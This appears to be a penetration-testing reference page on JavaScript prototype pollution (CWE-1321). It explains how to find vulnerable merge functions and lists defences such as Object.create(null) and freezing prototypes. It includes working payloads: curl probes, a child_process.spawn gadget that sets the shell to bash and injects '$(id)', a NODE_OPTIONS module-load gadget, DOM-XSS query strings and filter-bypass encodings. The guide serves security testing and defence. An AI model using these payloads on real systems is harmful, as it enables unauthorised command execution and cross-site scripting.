JavaScript-specific: attacker mutates
Object.prototype(or another base prototype) so every object inherits attacker-controlled properties. Authorized testing only. Map: CWE-1321 Improperly Controlled Modification of Object Prototype Attributes.
- JS objects inherit via the prototype chain.
({}).__proto__ === Object.prototypeand so does every other object literal. Writing toObject.prototypeaffects the entire process. - Server-side: vulnerable JSON merge / clone /
Object.assign-without-key-filter sinks accept user input → write to__proto__/constructor.prototype→ polluted property surfaces in unrelated code paths and often becomes RCE via gadget chains. - Client-side: query-string parser /
merge(history.state, …)/ Lodash_.setwriting__proto__from URL → DOM-XSS through framework gadgets. - Two payload forms:
__proto__(legacy property accessor) andconstructor.prototype(works on objects where__proto__is filtered).
- Find merge sinks: search for
_.merge,_.defaultsDeep,_.set,extend,Object.assign(target, untrustedJSON), customdeepMergeimplementations,Object.fromEntries(params)patterns. - Run PortSwigger Server-Side Prototype Pollution Scanner (Burp extension) — sends differential probes and gadget chains automatically.
# Probe — does the app pollute Object.prototype?
curl -X POST https://target/api/profile -H 'Content-Type: application/json' \
-d '{"__proto__":{"polluted":"yes"}}'
# Then check for echoed "polluted": "yes" on an unrelated endpoint, or for diff behavior
curl https://target/api/whoami # response contains "polluted": "yes"?DOM Invader(Burp Suite) — automated client-side prototype-pollution scanner.- Manual: open browser console on the target page:
Object.prototype.test = 'pp'; console.log({}.test) // baseline behavior // Reload with attacker query string: location = location.origin + location.pathname + '?__proto__[test]=pp' // After reload check if {}.test === 'pp'
The Node.js standard library's child_process.spawn looks up options like shell and env on the options object using prototype-chain lookup. If your merge sink lets attacker pollute Object.prototype.shell = '/bin/bash' and the app later calls spawn('ls', []) with no explicit shell option, the bash interpreter is invoked → command injection.
curl -X POST https://target/api/config -H 'Content-Type: application/json' \
-d '{"__proto__":{"shell":"/bin/bash","env":{"X":"$(id)"}}}'
# Trigger any feature that calls child_process.spawn / exec with default optionsOther classic Node gadgets: tls.connect(options) → poison path (Unix socket path), Object.prototype.NODE_OPTIONS = '--require=/tmp/x.js' then any new child Node process loads the attacker module.
If templates are stored as objects with attacker-controllable structure (e.g. a Handlebars compiled fn → polluted helperMissing runs attacker code on every render).
React, Angular, Vue, jQuery have many internal property lookups (__html, dangerouslySetInnerHTML, etc.). Polluting one of these creates XSS without injecting <script>:
?__proto__[innerHTML]=<img%20src=x%20onerror=alert(1)>
// or
?constructor[prototype][innerHTML]=<img%20src=x%20onerror=alert(1)>Effectiveness depends on the framework version and what property the polluted gadget surfaces in.
If __proto__ is filtered by the merge function (some sanitisers do if (key === '__proto__') skip), use the canonical prototype accessor:
{"constructor": {"prototype": {"polluted": "yes"}}}Same effect — obj.constructor.prototype === Object.prototype.
- Server filters
__proto__literal but accepts URL-encoded%5F%5Fproto%5F%5For double-encoded%2575%2533F— depends on the parser order. - Filter compares string equality with
===but the parser produced an exotic Unicode normalisation form (uses_somewhere). - Library updates patch
_.mergeto filter__proto__but leave_.setWith/_.setaccepting the same payload — check every API in the library, not just the famous one.
- Use safe merge libraries:
lodash.merge≥ 4.17.21 patches__proto__; check your version.defaultsDeephad the same issue (also patched ≥ 4.17.21). - Prefer
Object.create(null)for objects you build from untrusted input —Object.create(null)has no prototype chain, so writes to__proto__create a regular property without polluting the global prototype. - Use
Map/Setfor attacker-controlled keyed data; they don't share Object.prototype. - Freeze
Object.prototype:Object.freeze(Object.prototype)early in startup. Combined withObject.create(null)this neuters most server-side gadgets. (Test for compatibility; some libraries mutate prototypes legitimately at load time.) - JSON schema validation (Ajv, Zod) at the edge — reject
__proto__/constructorkeys in payloads as a positive-model defence. - Use
Object.hasOwn(obj, key)/Object.prototype.hasOwnProperty.call(obj, key)instead ofkey in objwhen iterating over attacker-controllable data. - Audit
child_process,tls,cryptocallers for options-based prototype lookups; pass explicit option objects with__proto__: null. - Node.js
--frozen-intrinsicsflag freezes built-in prototypes (experimental as of Node 18; verify against your target version).
- PortSwigger — Prototype pollution: https://portswigger.net/web-security/prototype-pollution
- Olivier Arteau — Prototype pollution attack (NorthSec 2018): https://github.com/HoLyVieR/prototype-pollution-nsec18
- Snyk — Prototype pollution research: https://learn.snyk.io/lesson/prototype-pollution/
- PayloadsAllTheThings — Prototype Pollution: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Prototype%20Pollution
- HackTricks Prototype Pollution: https://book.hacktricks.wiki/en/pentesting-web/deserialization/nodejs-proto-prototype-pollution/index.html
- Burp Server-Side Prototype Pollution Scanner: https://portswigger.net/bappstore/c1d4bd60626d4178a54d36ee802cf7e8
- DOM Invader (Burp): https://portswigger.net/burp/documentation/desktop/tools/dom-invader
- CWE-1321: https://cwe.mitre.org/data/definitions/1321.html
- BlackFan — Client-side prototype-pollution gadgets: https://github.com/BlackFan/client-side-prototype-pollution